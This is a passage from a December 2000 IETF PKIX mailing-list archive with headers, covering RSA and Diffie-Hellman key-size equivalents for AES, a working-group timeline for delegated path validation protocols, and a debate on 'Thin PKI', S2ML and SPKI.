that there might be other methods that although less efficient than the = NFS on a single machine, might be more well-suited to a distributed = attack? Likewise, would other algorithms be less constrained by a 64-bit = addressing limitation? Interesting point, though, in any case. Regards, Bob Robert R. Jueneman Security Architect Novell, Inc. >>> 12/13/00 10:36PM >>> I am sorry for the multiple postings, but I thought this particular = subject, although probably quite controversial, might be of interest to = the many peoples following these mailing lists, especially because of the = upcoming adoption of the AES algorithm by many IETF protocols. As symmetric keys grow, they can be attacked by more processors without a = change in processor technology since the memory requirements for breaking = symmetric keys remain trivial. However, for the Number Field Sieve (NFS) = algorithm, which is currently the most efficient method to break RSA keys, = this is not true. Based on this premise, the "time and space" based RSA = key size equivalents previously published in the RSA Labs Bulletin #13 of = April 2000 by Robert Silverman (http://www.rsalabs.com/bulletins/) have = recently been extended to cover all the AES symmetric key sizes in the = latest draft of ANSI X9.44, which will eventually become the ANSI standard = for RSA key transport: Time and Space=20 Symmetric Equivalent=20 Key Size RSA Key Size=20 (in bits) (in bits)=20 64 450=20 128 1620=20 192 2500=20 256 4200=20 These "time and space" based key sizes equivalents assume that both time = and memory are binding constraints in order to break RSA keys. This same = draft also indicates that beyond RSA key sizes of 768 bits one can no = longer effectively utilize 32-bit processors with the NFS algorithm = because the required memory exceeds what can be addressed in 32 bits; one = is forced to use 64-bit machines. Beyond RSA key sizes of about 2500 = bits, the memory requirements for the NFS algorithm exceed what can be = addressed even on 64 bit machines. For your information, here are also the estimated "time" only based RSA = key size equivalents for solving the NFS problem from the same ANSI draft: Time Only=20 Symmetric Equivalent=20 Key Size RSA Key Size=20 (in bits) (in bits)=20 64 512=20 128 2550=20 192 6700=20 256 13500=20 Note that either of these sets of RSA key size equivalents could be used = with Diffie-Hellman for solving the value of "p" since the NFS algorithm = is also the most efficient method to break Diffie-Hellman algorithm today. = Note also that these time only equivalents numbers are slightly smaller = than those from ANSI X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 = bits, 6700 vs 7680 for 192 bits and 13500 vs 15360 for 256 bits) and the = numbers in Hilarie Orman's Internet Draft (i.e. draft-orman-public-key-leng= ths-01.txt). Shouldn't IETF standards mention these new "time and space" based key size = equivalents in addition to existing "time" only based key size equivalents,= and possibly even suggest that "time and space" based key size equivalents= be used for RSA and Diffie-Hellman? Why mandate larger equivalent key = sizes when smaller equivalent key sizes can probably suffice? Food for thought!=20 Cheers,=20 Francois=20 ___________________________________=20 Francois Rousseau=20 Director of Standards and Conformance=20 Chrysalis-ITS=20 1688 Woodward Drive=20 Ottawa, Ontario, CANADA, K2C 3R7=20 frousseau@chrysalis-its.com Tel. (613) 723-5076 ext. 419=20 http://www.chrysalis-its.com Fax. (613) 723-5078=20 --=_2C77224E.31502339 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Francois,
 
I haven't followed the latest thinking on breaking = algorithms=20 such as RSA, so I'll take your word for the fact that the Number Field = Sieve is=20 currently the most efficient algorithm.  But isn't it at least = possible=20 that there might be other methods that although  less efficient than = the=20 NFS on a single machine, might be more well-suited to a distributed=20 attack?  Likewise, would other algorithms be less constrained by a = 64-bit=20 addressing limitation?
 
Interesting point, though, in any case.
 
Regards,
 
Bob
 
Robert R. Jueneman
Security Architect
Novell, Inc.


>>> <FRousseau@chrysalis-its.com> 12/13/00 = 10:36PM=20 >>>

I am sorry for the multiple postings, but I thought = this=20 particular subject, although probably quite controversial, might be of = interest=20 to the many peoples following these mailing lists, especially because of = the=20 upcoming adoption of the AES algorithm by many IETF protocols.

As symmetric keys grow, they can be attacked by more = processors=20 without a change in processor technology since the memory requirements = for=20 breaking symmetric keys remain trivial.  However, for the Number = Field=20 Sieve (NFS) algorithm, which is currently the most efficient method to = break RSA=20 keys, this is not true.  Based on this premise, the "time and space" = based=20 RSA key size equivalents previously published in the RSA Labs Bulletin #13 = of=20 April 2000 by Robert Silverman (http://www.rsalabs.com/bulletins= /)=20 have recently been extended to cover all the AES symmetric key sizes in = the=20 latest draft of ANSI X9.44, which will eventually become the ANSI standard = for=20 RSA key transport:

       =20        =20         Time and = Space=20
Symmetric      =20         Equivalent
Key Size       =20         RSA Key Size
(in bits)      =20         (in bits)

64     =20        =20         450
128           &n= bsp;=20         1620
192           &n= bsp;=20         2500
256           &n= bsp;=20         4200

These "time and space" based key sizes equivalents = assume that=20 both time and memory are binding constraints in order to break RSA = keys. =20 This same draft also indicates that beyond RSA key sizes of 768 bits one = can no=20 longer effectively utilize 32-bit processors with the NFS algorithm = because the=20 required memory exceeds what can be addressed in 32 bits; one is forced to = use=20 64-bit machines.  Beyond RSA key sizes of about 2500 bits, the = memory=20 requirements for the NFS algorithm exceed what can be addressed even on 64 = bit=20 machines.

For your information, here are also the estimated "time" = only=20 based RSA key size equivalents for solving the NFS problem from the same = ANSI=20 draft:

       =20        =20         Time Only= =20
Symmetric      =20         Equivalent
Key Size       =20         RSA Key Size
(in bits)      =20         (in bits)

64     =20        =20         512
128           &n= bsp;=20         2550
192           &n= bsp;=20         6700
256           &n= bsp;=20         13500

Note that either of these sets of RSA key size equivalent= s could=20 be used with Diffie-Hellman for solving the value of "p" since the NFS = algorithm=20 is also the most efficient method to break Diffie-Hellman algorithm = today. =20 Note also that these time only equivalents numbers are slightly smaller = than=20 those from ANSI X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 bits, = 6700=20 vs 7680 for 192 bits and 13500 vs 15360 for 256 bits) and the numbers in = Hilarie=20 Orman's Internet Draft (i.e. draft-orman-public-key-lengths-01.txt).=

Shouldn't IETF standards mention these new "time and = space"=20 based key size equivalents in addition to existing "time" only based key = size=20 equivalents, and possibly even suggest that "time and space" based key = size=20 equivalents be used for RSA and Diffie-Hellman?  Why mandate = larger=20 equivalent key sizes when smaller equivalent key sizes can probably=20 suffice?

Food for thought!

Cheers,

Francois
___________________________________
Fran= cois=20 Rousseau
Director of Standards and Conformance=20
Chrysalis-ITS
1688 Woodward=20= Drive
Ottawa, Ontario, CANADA, K2C 3R7 =
frousseau@chrysalis-its.com      Tel. = (613)=20 723-5076 ext. 419
http://www.chrysalis-its.com = ;   =20 Fax. (613) 723-5078

--=_2C77224E.31502339-- From owner-ietf-pkix@imc.org Thu Dec 14 18:45:33 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA18914 for ; Thu, 14 Dec 2000 18:45:32 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id PAA20468; Thu, 14 Dec 2000 15:41:48 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 14 Dec 2000 15:40:17 -0800 Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA20401 for ; Thu, 14 Dec 2000 15:40:17 -0800 (PST) Received: from [171.78.30.111] (dhcp030-111.genuity.com [171.78.30.111]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id SAA10732 for ; Thu, 14 Dec 2000 18:43:04 -0500 (EST) Mime-Version: 1.0 X-Sender: kent@po1.bbn.com (Unverified) Message-Id: Date: Thu, 14 Dec 2000 18:45:52 -0500 To: pkix list From: Stephen Kent Subject: a path forward on DPD & DPV Content-Type: multipart/alternative; boundary="============_-1235284935==_ma============" Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe --============_-1235284935==_ma============ Content-Type: text/plain; charset="us-ascii" ; format="flowed" During this week's IETF, Tim and I held several meetings with the authors of the drafts for SCVP and for the OCSP v2 extensions that deal with delegated path discovery and validation. We have arrived at the following procedure and time line for selecting a single solution from these competing protocols. 1. I will send a message examining the rationales for developing facilities to support delegated path discovery (DPD) and validation (DPV). This message will propose requirements and criteria for evaluating proposed solutions that offer these services, and will be issued before the end of this month. Many of the issues discussed in this message were presented at the WG meeting on Tuesday afternoon. 2. The WG will discuss the proposed requirements and evaluation criteria during January and we will reach closure by the end of the month, with a final set of requirements and criteria. During this time, advocates for each solution may refine their proposals to track the evolving requirements and criteria. 3. During February, the proponents of each approach will have an opportunity to revise their proposals to better match the finalized requirements and criteria, and to present arguments demonstrating how their proposals meet the requirements and evaluation criteria. 4. By the first (full) week of March the WG will select a single protocol as the standard. If the WG chairs do not feel that (rough) consensus has been achieved, a straw poll will be conducted. This should constitute WG last call, since the selected protocol document should be stable and thoroughly reviewed. This schedule permits a final decision to be reached prior to the next IETF meeting, which takes place 3/19-23, in Minneapolis. However, we probably will not manage to reach (or complete) IETF last call prior to this meeting, so we should not expect IESG approval until late April, at the earliest. --============_-1235284935==_ma============ Content-Type: text/enriched; charset="us-ascii" TimesDuring this week's IETF, Tim and I held several meetings with the authors of the drafts for SCVP and for the OCSP v2 extensions that deal with delegated path discovery and validation. We have arrived at the following procedure and time line for selecting a single solution from these competing protocols. 1. I will send a message examining the rationales for developing facilities to support delegated path discovery (DPD) and validation (DPV). This message will propose requirements and criteria for evaluating proposed solutions that offer these services, and will be issued before the end of this month. Many of the issues discussed in this message were presented at the WG meeting on Tuesday afternoon. 2. The WG will discuss the proposed requirements and evaluation criteria during January and we will reach closure by the end of the month, with a final set of requirements and criteria. During this time, advocates for each solution may refine their proposals to track the evolving requirements and criteria. 3. During February, the proponents of each approach will have an opportunity to revise their proposals to better match the finalized requirements and criteria, and to present arguments demonstrating how their proposals meet the requirements and evaluation criteria. 4. By the first (full) week of March the WG will select a single protocol as the standard. If the WG chairs do not feel that (rough) consensus has been achieved, a straw poll will be conducted. This should constitute WG last call, since the selected protocol document should be stable and thoroughly reviewed. This schedule permits a final decision to be reached prior to the next IETF meeting, which takes place 3/19-23, in Minneapolis. However, we probably will not manage to reach (or complete) IETF last call prior to this meeting, so we should not expect IESG approval until late April, at the earliest. --============_-1235284935==_ma============-- From owner-ietf-pkix@imc.org Fri Dec 15 01:08:20 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA27883 for ; Fri, 15 Dec 2000 01:08:20 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id WAA28026; Thu, 14 Dec 2000 22:04:54 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Thu, 14 Dec 2000 22:04:35 -0800 Received: from pdcpune.elock.co.in (pdcpune.elock.co.in [196.1.104.8]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id WAA27993 for ; Thu, 14 Dec 2000 22:04:33 -0800 (PST) Received: from SHANTANU ([196.1.104.102]) by pdcpune.elock.co.in with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id YPCFN77Y; Fri, 15 Dec 2000 11:33:31 +0530 Message-ID: <00da01c0665e$be492ec0$666801c4@fcpl.co.in> From: "Shantanu Bhattacharya" To: Subject: Change in job Date: Fri, 15 Dec 2000 11:47:41 +0530 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00D7_01C0668C.D4F5B160" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe This is a multi-part message in MIME format. ------=_NextPart_000_00D7_01C0668C.D4F5B160 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi All, I am leaving this job with effect from 18thDec'2000. This email ID would = be invalid after that date. Please do not send mails to this address = hereafter. You can use shantanubh@hotmail.com for further communication, = if any. Regards Shantanu ------=_NextPart_000_00D7_01C0668C.D4F5B160 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi All,
 
I am leaving this job with effect from=20 18thDec'2000. This email ID would be invalid after that date. Please do = not send=20 mails to this address hereafter. You can use shantanubh@hotmail.com for = further=20 communication, if any.
 
Regards
 
Shantanu
------=_NextPart_000_00D7_01C0668C.D4F5B160-- From owner-ietf-pkix@imc.org Fri Dec 15 05:37:28 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA29157 for ; Fri, 15 Dec 2000 05:37:27 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id CAA29950; Fri, 15 Dec 2000 02:33:55 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 02:33:39 -0800 Received: from maild.telia.com (root@maild.telia.com [194.22.190.3]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id CAA29915 for ; Fri, 15 Dec 2000 02:33:38 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by maild.telia.com (8.9.3/8.9.3) with ESMTP id LAA13179; Fri, 15 Dec 2000 11:33:47 +0100 (CET) Received: from mega (t5o69p92.telia.com [213.64.110.92]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBFAXSo02468; Fri, 15 Dec 2000 11:33:43 +0100 (CET) Message-ID: <009601c06682$4bafd4d0$0201a8c0@vincent.se> From: "Anders Rundgren" To: "Stephen Kent" , "PKIX-List" Subject: Thin PKI won - You lost Date: Fri, 15 Dec 2000 11:31:56 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id CAA29916 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe Content-Transfer-Encoding: 8bit Hi Steve, Do you remember the debate I started some 18 months ago when I launched the "Thin PKI"/CyberPhone concept in this list? http://www.mobilephones-tng.com/v100/dynamiccerts.html The concept in a nutshell: When you engage in inter-organizational activities you let an "organization server" vouch for its employees (clients) by signing (AC-like) credentials on the fly for authentication, and signing outgoing transactions on the clients request. All this without using any direct PKI-based "connection" between the client and the RP. BTW, the client does not even have to use PKI! You claimed that this was a bad idea, while I claimed that this is "the future for PKI". After reading the S2ML-draft 0.7a I can inform you that this specification, which is supported by VeriSign, RSA etc. use exactly this scheme for authentications and authorizations. And so does BTW VISA's coming 3D-SSL payment solution as well. Any comments? :-) :-) My guess is that this will in a couple of years, smash quite a few PKI-projects into pieces! For those who are engaged in federal or national PKIs, and Bridge-CAs etc.: === You are very likely to be on the wrong track! === We need thin "interoperable domains" (VISA's term) between organizations, not giant PKIs where "everybody is talking to everybody" (certificate-wise). The banks use the former model, and although banks cannot be accused for being hi-tech, they have anyway succeeded in doing advanced O2O/B2B-things (even globally), supporting millions of ordinary users on the Internet, which none of the many government-sponsored PKI-programs have achieved, or will ever achieve using current PKI-models. Signature archival is a built-in feature using Thin PKI, instead of something that you with great pains "glue" to a basically broken system. The term "Thin PKI" was coined by me to denote the fact that you with a single cert+key could "do anything" you'll ever need. It could actually be extended to organizations as well. That interoperability becomes a no-issue (at least compared to the "classical" PKI approach), is the fact that a single commercial TTP can w.o. problems certify millions of organizations. I.e. much of this CA policy-stuff that some organizations are working with is in vain as most organizations will buy pre-packaged products. "Trust" is actually something that has to be created within organizations and that is (except for a few die-hard PKIers), virtually independent on CA policies. Anders Rundgren co-founder X-OBI +46 70 - 627 74 37 From owner-ietf-pkix@imc.org Fri Dec 15 07:46:45 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA26193 for ; Fri, 15 Dec 2000 07:46:45 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id EAA11636; Fri, 15 Dec 2000 04:43:16 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 04:43:05 -0800 Received: from dfmail.f-secure.com (dfmail.f-secure.com [194.252.6.39]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id EAA11595 for ; Fri, 15 Dec 2000 04:43:04 -0800 (PST) Received: (qmail 17789 invoked by uid 0); 15 Dec 2000 12:45:53 -0000 Received: from fsinterface.f-secure.com (HELO fsfwfi01) (194.252.6.33) by dfmail.f-secure.com with SMTP; 15 Dec 2000 12:45:53 -0000 Received: (qmail 25080 invoked from network); 15 Dec 2000 12:45:33 -0000 Received: from fs129-092.f-secure.com (HELO F-Secure.com) (10.128.129.92) by dfintra.f-secure.com with SMTP; 15 Dec 2000 12:45:33 -0000 Message-ID: <3A3A1299.8E5A54AD@F-Secure.com> Date: Fri, 15 Dec 2000 14:46:17 +0200 From: Camillo =?iso-8859-1?Q?S=E4rs?= Organization: F-Secure Corporation X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: sv-FI,sv,en,fi,fr MIME-Version: 1.0 To: Anders Rundgren CC: PKIX-List Subject: Re: Thin PKI won - You lost References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> Content-Type: text/plain; charset=iso-8859-1 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id EAA11636 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id HAA26193 Hi Anders, (Cc: to PKIX - feel free to disregard this message if it conflicts too badly with your beliefs.) Anders Rundgren wrote: > The concept in a nutshell: When you engage in inter-organizational > activities you let an "organization server" vouch for its employees > (clients) by signing (AC-like) credentials on the fly for > authentication, and signing outgoing transactions on the clients > request. All this without using any direct PKI-based "connection" > between the client and the RP. BTW, the client does not even have to > use PKI! This is beginning to sound familiar, although you are still relying heavily on the "on-line trusted party" role. Which is fine in some cases, but not generally applicable nor stricly speaking always necessary. > You claimed that this was a bad idea, while I claimed that this is "the > future for PKI". ["You" refers to Stephen Kent] > > After reading the S2ML-draft 0.7a I can inform you that this > specification, which is supported by VeriSign, RSA etc. use exactly this > scheme for authentications and authorizations. And so does BTW VISA's > coming 3D-SSL payment solution as well. > > Any comments? :-) :-) Add a few features: - Ability to generate limited-authority certificates beforehand for limited periods of time. E.g. "PP can buy pens today". - Ability to optionally delegate the rights. - Ability to restrict rights during delegation. and what you effectively have is very close the semantics of SPKI. > My guess is that this will in a couple of years, smash quite a few > PKI-projects into pieces! > > For those who are engaged in federal or national PKIs, and Bridge-CAs > etc.: > > === You are very likely to be on the wrong track! === I tend to agree with you. For most on-line transactions, the concept of "identity" is fairly irrelevant - the real issue for the relying party is the authorization to perform an action. Once the high-level legal trust relationships exist [Read: "If you cheat, we will sue you out of business."], the remaining issues are mostly about transferring authorization - delegation - and avoiding fraud by the users. On a side track, current "Qualified Identity Certificate" systems are very vulnerable to private key exposure and require highly trusted terminals. Windows-based PCs are not such trusted terminals, regardless of how many smart cards you buy. This issue is usually not discussed at all, which I find very alarming. In certificate systems where authorizations are higly granular, atomic and limited, the risk introduced by improper use of a private key or the compromise of the signing system is significantly smaller. As a matter of fact, I believe this is the only way we can ever make PKI-based eCommerce work outside laboratories. Regards, Camillo Särs -- Camillo Särs http://www.iki.fi/ged/ Security Researcher, F-Secure Corporation http://www.F-Secure.com *** My office phone number has changed to +358 9 2520 5554 *** F-Secure products: Securing the Mobile, Distributed Enterprise From owner-ietf-pkix@imc.org Fri Dec 15 08:27:46 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA04747 for ; Fri, 15 Dec 2000 08:27:46 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA14274; Fri, 15 Dec 2000 05:23:59 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 05:23:56 -0800 Received: from mailf.telia.com (root@mailf.telia.com [194.22.194.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA14241 for ; Fri, 15 Dec 2000 05:23:54 -0800 (PST) Received: from d1o69.telia.com (d1o69.telia.com [62.20.144.241]) by mailf.telia.com (8.9.3/8.9.3) with ESMTP id OAA08233; Fri, 15 Dec 2000 14:26:43 +0100 (CET) Received: from mega (t3o69p5.telia.com [62.20.145.5]) by d1o69.telia.com (8.10.2/8.10.1) with SMTP id eBFDQgo06377; Fri, 15 Dec 2000 14:26:42 +0100 (CET) Message-ID: <006b01c0669a$745aac30$0201a8c0@vincent.se> From: "Anders Rundgren" To: =?iso-8859-1?Q?Camillo_S=E4rs?= Cc: "PKIX-List" References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <3A3A1299.8E5A54AD@F-Secure.com> Subject: S2ML, Thin PKI and SPKI Date: Fri, 15 Dec 2000 14:25:11 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-MIME-Autoconverted: from quoted-printable to 8bit by ns.secondary.com id FAA14243 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id FAA14274 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id IAA04747 Hi Camillo, > Anders Rundgren wrote: > > The concept in a nutshell: When you engage in inter-organizational > > activities you let an "organization server" vouch for its employees > > (clients) by signing (AC-like) credentials on the fly for > > authentication, and signing outgoing transactions on the clients > > request. All this without using any direct PKI-based "connection" > > between the client and the RP. BTW, the client does not even have to > > use PKI! > > This is beginning to sound familiar, although you are still relying heavily > on the "on-line trusted party" role. Which is fine in some cases, but not > generally applicable nor stricly speaking always necessary. The reason for having the on-line trusted party (sort of real-time attribute CA) is that it can generate whatever credential you need, when you need it, and without any distribution or installation. For O2O authentications I would say that it is generally applicable. It is a pure convenience solution. > and what you effectively have is very close the semantics of SPKI. But without the distribution hassles. > In certificate systems where authorizations are higly granular, atomic and > limited, the risk introduced by improper use of a private key or the > compromise of the signing system is significantly smaller. Actually I am much less confident that S2ML's authorization system will be that popular, as there are other solutions like OBI, that keeps authorizations "at home". And the kind of granularity you have "at home" can be anything from getting a "Yes" from the boss, to fully rule-based systems where each individual can do only exactly what he/she is supposed to do. To the outside world there is for most outgoing messages, no real visible authorization. Small order, large order, they all look the same. >As a matter of > fact, I believe this is the only way we can ever make PKI-based eCommerce > work outside laboratories. You refer to SPKI here I guess? A bit unfortunate for SPKI, is that it has been shunned by´ the "big ones" and S2ML will just make this worse. Or did I get that wrong? /anders From owner-ietf-pkix@imc.org Fri Dec 15 08:42:03 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA07350 for ; Fri, 15 Dec 2000 08:42:03 -0500 (EST) Received: from localhost (daemon@localhost) by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA15171; Fri, 15 Dec 2000 05:38:37 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 05:38:35 -0800 Received: from dfmail.f-secure.com (dfmail.f-secure.com [194.252.6.39]) by ns.secondary.com (8.9.3/8.9.3) with SMTP id FAA15138 for ; Fri, 15 Dec 2000 05:38:33 -0800 (PST) Received: (qmail 3594 invoked by uid 0); 15 Dec 2000 13:41:23 -0000 Received: from fsinterface.f-secure.com (HELO fsfwfi01) (194.252.6.33) by dfmail.f-secure.com with SMTP; 15 Dec 2000 13:41:23 -0000 Received: (qmail 20833 invoked from network); 15 Dec 2000 13:41:22 -0000 Received: from fs129-092.f-secure.com (HELO F-Secure.com) (10.128.129.92) by dfintra.f-secure.com with SMTP; 15 Dec 2000 13:41:22 -0000 Message-ID: <3A3A1FAD.376BC972@F-Secure.com> Date: Fri, 15 Dec 2000 15:42:05 +0200 From: Camillo =?iso-8859-1?Q?S=E4rs?= Organization: F-Secure Corporation X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: sv-FI,sv,en,fi,fr MIME-Version: 1.0 To: Anders Rundgren CC: PKIX-List Subject: Re: S2ML, Thin PKI and SPKI References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <3A3A1299.8E5A54AD@F-Secure.com> <006b01c0669a$745aac30$0201a8c0@vincent.se> Content-Type: text/plain; charset=iso-8859-1 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id FAA15171 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id IAA07350 Anders Rundgren wrote: > The reason for having the on-line trusted party (sort of real-time > attribute CA) is that it can generate whatever credential you need, when > you need it, and without any distribution or installation. Quite useful, you are right. But still - there are cases where generating some credentials beforehand makes sense. Which means that it makes sense to allow it. And "sense" here is "business sense". > > and what you effectively have is very close the semantics of SPKI. > > But without the distribution hassles. Agreed. > > In certificate systems where authorizations are higly granular, atomic and > > limited, the risk introduced by improper use of a private key or the > > compromise of the signing system is significantly smaller. > > Actually I am much less confident that S2ML's authorization system will > be that popular, I wasn't really focusing on that, but rather on the risk model. Any model that allows almost arbitrary "contracts" to be signed without discretion are just too risky for real-life implementation. The scope of the authorization granted by the certificate should be minimal, not maximal as in current X.509-based solutions. Get a suitable trojan onto a user's system, and you can sell his house, his car and make him file for divorce. I, for one, won't be getting any certificates with that risk model. No way. They invert the legal burden of proof - I have to show that someone else did these things. How many courts of law are technically qualified to know the difference? > >As a matter of > > fact, I believe this is the only way we can ever make PKI-based eCommerce > > work outside laboratories. > > You refer to SPKI here I guess? A bit unfortunate for SPKI, is that it > has been shunned by´ the "big ones" and S2ML will just make this worse. > > Or did I get that wrong? You did. SPKI is just one example of a more suitable semantic model, with much nicer security properties. I just happen to like it, preferences vary. If the "big ones" want to re-invent the wheel, or make silly compromises, they are quite free to do so (:-). My argument was more on the point that systems *must* limit the power of the signatures. And that this limitation cannot happen on the signing client, as it runs highly vulnerable and untrusted software. *Any* step that limits the power is good. I don't care who takes it, and how, but VISA is one example of an organization that knows something about risk management. Regards, Camillo -- Camillo Särs http://www.iki.fi/ged/ Security Researcher, F-Secure Corporation http://www.F-Secure.com *** My office phone number has changed to +358 9 2520 5554 *** F-Secure products: Securing the Mobile, Distributed Enterprise From owner-ietf-pkix@imc.org Fri Dec 15 09:38:43 2000 Received: from ns.secondary.com (ns.secondary.com [208.184.76.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA13665 for ; Fri, 15 Dec 2000 09:38:42 -0500 (EST) Received: from localhost by ns.secondary.com (8.9.3/8.9.3) with SMTP id GAA16853; Fri, 15 Dec 2000 06:35:03 -0800 (PST) Received: by mail.imc.org (bulk_mailer v1.12); Fri, 15 Dec 2000 06:34:53 -0800 Received: from ns.caldera.de (ns.caldera.de [212.34.180.1]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA16799 for ; Fri, 15 Dec 2000 06:34:51 -0800 (PST) Received: (from daemon@localhost) by ns.caldera.de (8.9.3/8.9.3) id PAA03361; Fri, 15 Dec 2000 15:36:57 +0100 Received: from monad.caldera.de(212.34.180.129) via SMTP by ns.caldera.de, id smtpdkgY89f; Fri Dec 15 15:36:56 2000 Received: (from okir@localhost) by monad.caldera.de (8.9.3/8.9.3) id PAA26114; Fri, 15 Dec 2000 15:37:54 +0100 Date: Fri, 15 Dec 2000 15:37:53 +0100 From: Olaf Kirch To: =?iso-8859-1?Q?Camillo_S=E4rs?= Cc: Anders Rundgren , PKIX-List Subject: Re: S2ML, Thin PKI and SPKI Message-ID: <20001215153753.N24805@monad.caldera.de> References: <009601c06682$4bafd4d0$0201a8c0@vincent.se> <3A3A1299.8E5A54AD@F-Secure.com> <006b01c0669a$745aac30$0201a8c0@vincent.se> <3A3A1FAD.376BC972@F-Secure.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3A3A1FAD.376BC972@F-Secure.com>; from Camillo.Sars@F-Secure.com on Fri, Dec 15, 2000 at 03:42:05PM +0200 Precedence: bulk List-Archive: http://www.imc.org/ietf-pkix/mail-archive/ List-ID: List-Unsubscribe: mailto:ietf-pkix-request@imc.org?body=unsubscribe X-MIME-Autoconverted: from 8bit to quoted-printable by ns.secondary.com id GAA16853 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id JAA13665 On Fri, Dec 15, 2000 at 03:42:05PM +0200, Camillo Särs wrote: > I wasn't really focusing on that, but rather on the risk model. Any model > that allows almost arbitrary "contracts" to be signed without discretion > are just too risky for real-life implementation. I've started becoming interested in X.509 stuff only quite recently, but all standards/drafts/etc I've read so far failed to mention the risk of client platform compromise. This had me baffled quite a bit. The threat is nothing new (see Kerberos' TGTs), so does this mean that e.g. PKIX certificates are never supposed to be used on ordinary PCs? Olaf -- Olaf Kirch | --- o --- Nous sommes du soleil we love when we play okir@monad.swb.de | / | \ sol.dhoop.naytheet.ah kin.ir.samse.qurax okir@caldera.de +-------------------- Why Not?! ----------------------- UNIX, n.: Spanish manufacturer of fire 